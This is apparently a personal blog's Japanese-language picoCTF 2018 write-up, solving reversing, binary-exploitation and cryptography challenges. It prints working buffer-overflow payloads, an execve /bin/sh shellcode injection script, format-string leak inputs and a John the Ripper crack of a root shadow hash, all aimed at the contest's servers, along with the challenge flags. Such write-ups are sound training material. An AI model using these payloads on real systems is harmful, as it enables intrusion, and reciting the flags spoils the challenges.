picoCTF 2018 Write-up [Reversing] + [Binary Exploitation]
まえがき
前回の続きです．
今回はReversingとBinary ExploitationのWrite-upを書こうと思います．
Reversing
Reversing Warmup 1 - Points: 50
Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_2_a237211c4be8902c67102f827027e633 on the shell server and run this program to retreive the flag?
アプローチ：ELFファイルの実行
> file run run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f4cbb89ad8989bad12dfa913e40072f3d21c96d, not stripped
> ./run
picoCTF{welc0m3_t0_r3VeRs1nG}
picoCTF{welc0m3_t0_r3VeRs1nG}
Reversing Warmup 2 - Points: 50
Can you decode the following string
dGg0dF93NHNfczFtcEwzfrom base64 format to ASCII
アプローチ：base64
> echo dGg0dF93NHNfczFtcEwz | base64 --d th4t_w4s_s1mpL3
picoCTF{th4t_w4s_s1mpL3}
assembly-0 - Points: 150
What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_0_5a220faedfaf4fbf26e6771960d4a359.
アプローチ：アセンブラを読む
.intel_syntax noprefix
.bits 32
.global asm0
asm0:
push ebp
mov ebp,esp
mov eax,DWORD PTR [ebp+0x8]
mov ebx,DWORD PTR [ebp+0xc]
mov eax,ebx
mov esp,ebp
pop ebp
ret
アセンブラを読むとeaxにebxをコピーしていること分かる
このときasm0(0xb6,0xc6)なのでeax=0xb6,ebx=0xc6
picoCTF{0xc6,0xc6}
assembly-1 - Points: 200
What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.
アプローチ：アセンブラを読む
.intel_syntax noprefix
.bits 32
.global asm1
asm1:
push ebp
mov ebp,esp
cmp DWORD PTR [ebp+0x8],0x98
jg part_a
cmp DWORD PTR [ebp+0x8],0x8
jne part_b
mov eax,DWORD PTR [ebp+0x8]
add eax,0x3
jmp part_d
part_a:
cmp DWORD PTR [ebp+0x8],0x16
jne part_c
mov eax,DWORD PTR [ebp+0x8]
sub eax,0x3
jmp part_d
part_b:
mov eax,DWORD PTR [ebp+0x8]
sub eax,0x3
jmp part_d
cmp DWORD PTR [ebp+0x8],0xbc
jne part_c
mov eax,DWORD PTR [ebp+0x8]
sub eax,0x3
jmp part_d
part_c:
mov eax,DWORD PTR [ebp+0x8]
add eax,0x3
part_d:
pop ebp
ret
picoCTF{0x73,0x73}
Binary Exploitation
buffer overflow 0 - Points: 150
Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on t he shell server.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0; }
アプローチ：BOF
コードを読むとvuln()のstrcpy(buf, input)が危ないことが分かるのでbufでBOFします．
satto1237@pico-2018-shell-1:/problems/buffer-overflow-0_1_316c391426b9319f ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}
buffer overflow 1 - Points: 200
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
アプローチ：gdb+ltrace
コードを読むとvuln()のリターンアドレスをwin()にすればいいっぽいのでgdbを使ってアドレスを調べます．
(gdb) call vuln
$1 = {<text variable, no debug info>} 0x804862f <vuln>
(gdb) call win
$2 = {<text variable, no debug info>} 0x80485cb <win>
リターンアドレスを0x80485cbに書き換えるとflagがとれそうということが分かります．
ltraceを使いながらリターンアドレスの位置を計算します．
> printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./vuln
[0x80484f1] __libc_start_main(0x804865d, 1, 0xffca67d4, 0x80486d0 <unfinished ...>
[0x804867f] setvbuf(0xf7f94d80, 0, 2, 0) = 0
[0x8048687] getegid() = 1000
[0x804869b] setresgid(1000, 1000, 1000, 0x8048687) = 0
[0x80486ab] puts("Please enter your string: "Please enter your string:
) = 27
[0x8048641] gets(0xffca66e0, 0, 0xf7f94d80, 0xfbad2887) = 0xffca66e0
[0x8048657] printf("Okay, time to return... Fingers "..., 0x4c4c4c4cOkay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c
) = 65
[0x4c4c4c4c] --- SIGSEGV (Segmentation fault) ---
[0xffffffffffffffff] +++ killed by SIGSEGV +++
0x4c4c4c4cになってることからLをアドレスに置き換えるといい感じになりそうということが分かります．
satto1237@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ printf "AAAABBBBCCCC
DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault
picoCTF{addr3ss3s_ar3_3asy65489706}
leak-me - Points: 200
Can you authenticate to this service and get the flag? Connect with nc
2018shell1.picoctf.com 1271. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; } strcat(name, ",\nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = '\x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!\n"); } return 0; }
アプローチ：nameでBOF
nameでBOFするとパスワードが降ってきます．
a_reAllY_s3cuRe_p4s$word_f78570
> nc 2018shell1.picoctf.com 1271
What is your name?
satto1237
Hello satto1237,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}
shellcode - Points: 200
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); return 0; }
アプローチ：BOFでshellを起動
getsを使用しているのでBOFは簡単にできそうということがわかる．
問題文がshellcodeなのでBOFでshellを起動すればflagをとれそう．
ももテクを参考にexploitコードを書きました．
exploitコード
import sys shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = 148 buf = shellcode buf += 'A' * (bufsize - len(shellcode)) print(buf)
satto1237@pico-2018-shell-1:/problems/shellcode_3_09e0c5074980877d900d65c545d1e127$ (echo -e "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; cat) | ./vuln
Enter a string!
1Rh//shh/binRSB
̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks! Executing now...
ls
flag.txt vuln vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_7f5a7309}
picoCTF{shellc0de_w00h00_7f5a7309}
echooo - Points: 300
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; char flag[64]; char *flag_ptr = flag; // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); memset(buf, 0, sizeof(flag)); memset(buf, 0, sizeof(buf)); puts("Time to learn about Format Strings!"); puts("We will evaluate any format string you give us with printf()."); puts("See if you can get the flag!"); FILE *file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); while(1) { printf("> "); fgets(buf, sizeof(buf), stdin); printf(buf); } return 0; }
アプローチ：FORMAT STRING ATTACK ～書式指定文字列攻撃～
今回もももテクを参考にしました．
> nc 2018shell1.picoctf.com 46960 Time to learn about Format Strings! We will evaluate any format string you give us with printf(). See if you can get the flag! > AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x AAAA00000040.f772d5a0.08048647.f7764a74.00000001.f773c490.ffcbd2a4.ffcbd1ac.00000493.092f4008.41414141.78383025> .00000040.f772d5a0.08048647 >
bufのアドレスの位置が分かったのでその位置よりも前に出現するアドレスのメモリの内容を見ていくと
echo -e "%8\$s" | nc 2018shell1.picoctf.com 46960
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}
まとめ
- Reversingわからん
- Binary Exploitationわからん
- 何もわからん
- 今回のwrite-upだけ2つのジャンルを一緒に書きました(解けた問題数が少なかったので)
- 低レイヤ強くなりてぇ…
picoCTF 2018 Write-up [Cryptography]
- まえがき
- Cryptography
- Crypto Warmup 1 - Points: 75
- Crypto Warmup 2 - Points: 75
- HEEEEEEERE'S Johnny! - Points: 100
- caesar cipher 1 - Points: 150
- hertz - Points: 150
- blaise's cipher - Points: 200
- hertz 2 - Points: 200
- Safe RSA - Points: 250
- caesar cipher 2 - Points: 250
- rsa-madlibs - Points: 250
- Super Safe RSA - Points: 350
- Super Safe RSA 2 - Points: 425
- Super Safe RSA 3 - Points: 600
- まとめ
まえがき
前回の続きです．
今回はCryptographyのWrite-upを書こうと思います．
Cryptography
Crypto Warmup 1 - Points: 75
Crpyto can often be done by hand, here's a message you got from a friend,
llkjmlmpadkkcwith the key ofthisisalilkey. Can you use this table to solve it?.
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z +---------------------------------------------------- A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
アプローチ：ヴィジュネル暗号
https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
tableの最上段が平文(P)，左段が鍵(K)になります．
text: llkjmlmpadkkc
key: thisisalilkey
-> SECRETMESSAGE
picoCTF{SECRETMESSAGE}
暗号文をCとしたときに
となることを利用してスクリプトを書いたほうが速いです．
Crypto Warmup 2 - Points: 75
Cryptography doesn't have to be complicated, have you ever heard of something called rot13? cvpbPGS{guvf_vf_pelcgb!}
アプローチ：rot13
picoCTF{this_is_crypto!}
HEEEEEEERE'S Johnny! - Points: 100
Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc
2018shell1.picoctf.com 42165. Files can be found here: passwd shadow.
passwd
root:x:0:0:root:/root:/bin/bash
shadow
root:$6$q7xpw/2.$la4KiUz87ohdszbOVoIopy2VTwm/5jEXvWSdWynh0CnP5T.MnJfVNCzp3IfJMHUNuBhr1ewcYd8PyeKHqHQoe.:17770:0:99999:7:::
アプローチ：John the Ripper
ncするとユーザ名とパスワードの入力を求められるのでどうやらpasswdとshadowからユーザ名とパスワードを推測しなければいけないようです．
/etc/passwdと/etc/shadowについては以下を参照するといいと思います．
www.server-memo.net
shadowファイル解読のためにJohn the Ripperを使います．
https://www.openwall.com/john/
> john --show shadow root:kissme:17770:0:99999:7::: 1 password hash cracked, 0 left
root,kissmeでログイン
> nc 2018shell1.picoctf.com 42165
Username: root
Password: kissme
picoCTF{J0hn_1$_R1pp3d_5f9a67aa}
picoCTF{J0hn_1$_R1pp3d_5f9a67aa}
caesar cipher 1 - Points: 150
This is one of the older ciphers in the books, can you decrypt the message? You can find the ciphertext in /problems/caesar-cipher-1_3_160978e2a142244574bd048623dba1ed on the shell server.
grpqxdllaliazxbpxozfmebotlvlicmr
アプローチ：rot
rot13.com でrot3
picoCTF{justagoodoldcaesarcipherwoyolfpu}
hertz - Points: 150
Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc
2018shell1.picoctf.com 18581.
アプローチ：換字式暗号
ncすると
------------------------------------------------------------------------------- crjgeqof nzez xf urve kpqg - fvtfoxovoxrj_cxdnzef_qez_frphqtpz_kgjhhgjimf ------------------------------------------------------------------------------- xj q hxppqgz rk pq mqjcnq, onz jqmz rk anxcn x nqhz jr izfxez or cqpp or mxji, onzez pxhzi jro prjg fxjcz rjz rk onrfz gzjopzmzj onqo szzd q pqjcz xj onz pqjcz-eqcs, qj rpi tvcspze, q pzqj nqcs, qji q gezunrvji kre crvefxjg. qj rppq rk eqonze mrez tzzk onqj mvoorj, q fqpqi rj mrfo jxgnof, fceqdf rj fqoveiquf, pzjoxpf rj kexiquf, qji q dxgzrj re fr zwoeq rj fvjiquf, mqiz qaqu axon onezz-bvqeozef rk nxf xjcrmz. onz ezfo rk xo azjo xj q irvtpzo rk kxjz cpron qji hzphzo tezzcnzf qji fnrzf or mqocn kre nrpxiquf, anxpz rj azzs-iquf nz mqiz q teqhz kxgvez xj nxf tzfo nrmzfdvj. nz nqi xj nxf nrvfz q nrvfzszzdze dqfo kreou, q jxzcz vjize oazjou, qji q pqi kre onz kxzpi qji mqeszo-dpqcz, anr vfzi or fqiipz onz nqcs qf azpp qf nqjipz onz txpp-nrrs. onz qgz rk onxf gzjopzmqj rk rvef aqf treizexjg rj kxkou; nz aqf rk q nqeiu nqtxo, fdqez, gqvjo-kzqovezi, q hzeu zqepu exfze qji q gezqo fdreofmqj. onzu axpp nqhz xo nxf fvejqmz aqf bvxwqiq re bvzfqiq (kre nzez onzez xf frmz ixkkzezjcz rk rdxjxrj qmrjg onz qvonref anr aexoz rj onz fvtlzco), qponrvgn kerm ezqfrjqtpz crjlzcovezf xo fzzmf dpqxj onqo nz aqf cqppzi bvzwqjq. onxf, nrazhze, xf rk tvo pxoopz xmdreoqjcz or rve oqpz; xo axpp tz zjrvgn jro or foequ q nqxe'f tezqion kerm onz oevon xj onz ozppxjg rk xo. urv mvfo sjra, onzj, onqo onz qtrhz-jqmzi gzjopzmqj anzjzhze nz aqf qo pzxfvez (anxcn aqf mrfopu qpp onz uzqe ervji) gqhz nxmfzpk vd or ezqixjg trrsf rk cnxhqpeu axon fvcn qeirve qji qhxixou onqo nz qpmrfo zjoxezpu jzgpzcozi onz dvefvxo rk nxf kxzpi-fdreof, qji zhzj onz mqjqgzmzjo rk nxf derdzeou; qji or fvcn q dxocn ixi nxf zqgzejzff qji xjkqovqoxrj gr onqo nz frpi mqju qj qcez rk oxppqgzpqji or tvu trrsf rk cnxhqpeu or ezqi, qji tervgno nrmz qf mqju rk onzm qf nz crvpi gzo. tvo rk qpp onzez azez jrjz nz pxszi fr azpp qf onrfz rk onz kqmrvf kzpxcxqjr iz fxphq'f crmdrfxoxrj, kre onzxe pvcxixou rk foupz qji crmdpxcqozi crjczxof azez qf dzqepf xj nxf fxgno, dqeoxcvpqepu anzj xj nxf ezqixjg nz cqmz vdrj crveofnxdf qji cqeozpf, anzez nz rkozj krvji dqffqgzf pxsz "onz ezqfrj rk onz vjezqfrj axon anxcn mu ezqfrj xf qkkpxcozi fr azqszjf mu ezqfrj onqo axon ezqfrj x mvemve qo urve tzqvou;" re qgqxj, "onz nxgn nzqhzjf, onqo rk urve ixhxjxou ixhxjzpu kreoxku urv axon onz foqef, ezjize urv izfzehxjg rk onz izfzeo urve gezqojzff izfzehzf." rhze crjczxof rk onxf freo onz drre gzjopzmqj prfo nxf axof, qji vfzi or pxz qaqsz foexhxjg or vjizefoqji onzm qji arem onz mzqjxjg rvo rk onzm; anqo qexforopz nxmfzpk crvpi jro nqhz mqiz rvo re zwoeqcozi nqi nz crmz or pxkz qgqxj kre onqo fdzcxqp dvedrfz. nz aqf jro qo qpp zqfu qtrvo onz arvjif anxcn irj tzpxqjxf gqhz qji orrs, tzcqvfz xo fzzmzi or nxm onqo, gezqo qf azez onz fvegzrjf anr nqi cvezi nxm, nz mvfo nqhz nqi nxf kqcz qji triu crhzezi qpp rhze axon fzqmf qji fcqef. nz crmmzjizi, nrazhze, onz qvonre'f aqu rk zjixjg nxf trrs axon onz dermxfz rk onqo xjozemxjqtpz qihzjovez, qji mqju q oxmz aqf nz ozmdozi or oqsz vd nxf dzj qji kxjxfn xo derdzepu qf xf onzez derdrfzi, anxcn jr irvto nz arvpi nqhz irjz, qji mqiz q fvcczffkvp dxzcz rk ares rk xo orr, nqi jro gezqoze qji mrez qtfretxjg onrvgnof dezhzjozi nxm.
が降ってきます．
おそらく換字式暗号なので文字の出現確率を見ながら適当に変換していきます．
変換ルールはこれです．
q -> A g -> G p -> L k -> F e -> R z -> E n -> H r -> O o -> T j -> N m -> M i -> D x -> I f -> S v -> U a -> W c -> C u -> Y t -> B d -> P s -> K h -> V w -> X l -> J b -> Q
最終的な文字列は以下のようになります．
------------------------------------------------------------------------------- CONGRATS HERE IS YOUR FLAG - SUBSTITUTION_CIPHERS_ARE_SOLVABLE_FGNVVGNDMS ------------------------------------------------------------------------------- IN A VILLAGE OF LA MANCHA, THE NAME OF WHICH I HAVE NO DESIRE TO CALL TO MIND, THERE LIVED NOT LONG SINCE ONE OF THOSE GENTLEMEN THAT KEEP A LANCE IN THE LANCE-RACK, AN OLD BUCKLER, A LEAN HACK, AND A GREYHOUND FOR COURSING. AN OLLA OF RATHER MORE BEEF THAN MUTTON, A SALAD ON MOST NIGHTS, SCRAPS ON SATURDAYS, LENTILS ON FRIDAYS, AND A PIGEON OR SO EXTRA ON SUNDAYS, MADE AWAY WITH THREE-QUARTERS OF HIS INCOME. THE REST OF IT WENT IN A DOUBLET OF FINE CLOTH AND VELVET BREECHES AND SHOES TO MATCH FOR HOLIDAYS, WHILE ON WEEK-DAYS HE MADE A BRAVE FIGURE IN HIS BEST HOMESPUN. HE HAD IN HIS HOUSE A HOUSEKEEPER PAST FORTY, A NIECE UNDER TWENTY, AND A LAD FOR THE FIELD AND MARKET-PLACE, WHO USED TO SADDLE THE HACK AS WELL AS HANDLE THE BILL-HOOK. THE AGE OF THIS GENTLEMAN OF OURS WAS BORDERING ON FIFTY; HE WAS OF A HARDY HABIT, SPARE, GAUNT-FEATURED, A VERY EARLY RISER AND A GREAT SPORTSMAN. THEY WILL HAVE IT HIS SURNAME WAS QUIXADA OR QUESADA (FOR HERE THERE IS SOME DIFFERENCE OF OPINION AMONG THE AUTHORS WHO WRITE ON THE SUBJECT), ALTHOUGH FROM REASONABLE CONJECTURES IT SEEMS PLAIN THAT HE WAS CALLED UEXANA. THIS, HOWEVER, IS OF BUT LITTLE IMPORTANCE TO OUR TALE; IT WILL BE ENOUGH NOT TO STRAY A HAIR'S BREADTH FROM THE TRUTH IN THE TELLING OF IT. YOU MUST KNOW, THEN, THAT THE ABOVE-NAMED GENTLEMAN WHENEVER HE WAS AT LEISURE (WHICH WAS MOSTLY ALL THE YEAR ROUND) GAVE HIMSELF UP TO READING BOOKS OF CHIVALRY WITH SUCH ARDOUR AND AVIDITY THAT HE ALMOST ENTIRELY NEGLECTED THE PURSUIT OF HIS FIELD-SPORTS, AND EVEN THE MANAGEMENT OF HIS PROPERTY; AND TO SUCH A PITCH DID HIS EAGERNESS AND INFATUATION GO THAT HE SOLD MANY AN ACRE OF TILLAGELAND TO BUY BOOKS OF CHIVALRY TO READ, AND BROUGHT HOME AS MANY OF THEM AS HE COULD GET. BUT OF ALL THERE WERE NONE HE LIKED SO WELL AS THOSE OF THE FAMOUS FELICIANO DE SILVA'S COMPOSITION, FOR THEIR LUCIDITY OF STYLE AND COMPLICATED CONCEITS WERE AS PEARLS IN HIS SIGHT, PARTICULARLY WHEN IN HIS READING HE CAME UPON COURTSHIPS AND CARTELS, WHERE HE OFTEN FOUND PASSAGES LIKE "THE REASON OF THE UNREASON WITH WHICH MY REASON IS AFFLICTED SO WEAKENS MY REASON THAT WITH REASON I MURMUR AT YOUR BEAUTY;" OR AGAIN, "THE HIGH HEAVENS, THAT OF YOUR DIVINITY DIVINELY FORTIFY YOU WITH THE STARS, RENDER YOU DESERVING OF THE DESERT YOUR GREATNESS DESERVES." OVER CONCEITS OF THIS SORT THE POOR GENTLEMAN LOST HIS WITS, AND USED TO LIE AWAKE STRIVING TO UNDERSTAND THEM AND WORM THE MEANING OUT OF THEM; WHAT ARISTOTLE HIMSELF COULD NOT HAVE MADE OUT OR EXTRACTED HAD HE COME TO LIFE AGAIN FOR THAT SPECIAL PURPOSE. HE WAS NOT AT ALL EASY ABOUT THE WOUNDS WHICH DON BELIANIS GAVE AND TOOK, BECAUSE IT SEEMED TO HIM THAT, GREAT AS WERE THE SURGEONS WHO HAD CURED HIM, HE MUST HAVE HAD HIS FACE AND BODY COVERED ALL OVER WITH SEAMS AND SCARS. HE COMMENDED, HOWEVER, THE AUTHOR'S WAY OF ENDING HIS BOOK WITH THE PROMISE OF THAT INTERMINABLE ADVENTURE, AND MANY A TIME WAS HE TEMPTED TO TAKE UP HIS PEN AND FINISH IT PROPERLY AS IS THERE PROPOSED, WHICH NO DOUBT HE WOULD HAVE DONE, AND MADE A SUCCESSFUL PIECE OF WORK OF IT TOO, HAD NOT GREATER AND MORE ABSORBING THOUGHTS PREVENTED HIM.
picoCTF{substitution_ciphers_are_solvable_fgnvvgndms}
人力でも解けますがquipqiup - cryptoquip and cryptogram solverなどのサイトであたりをつけてから解いたほうが速く解けます．
blaise's cipher - Points: 200
My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc
2018shell1.picoctf.com 18981.
アプローチ：ヴィジュネル暗号
Encrypted message:
Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx.
Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce.
Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_095glcih}
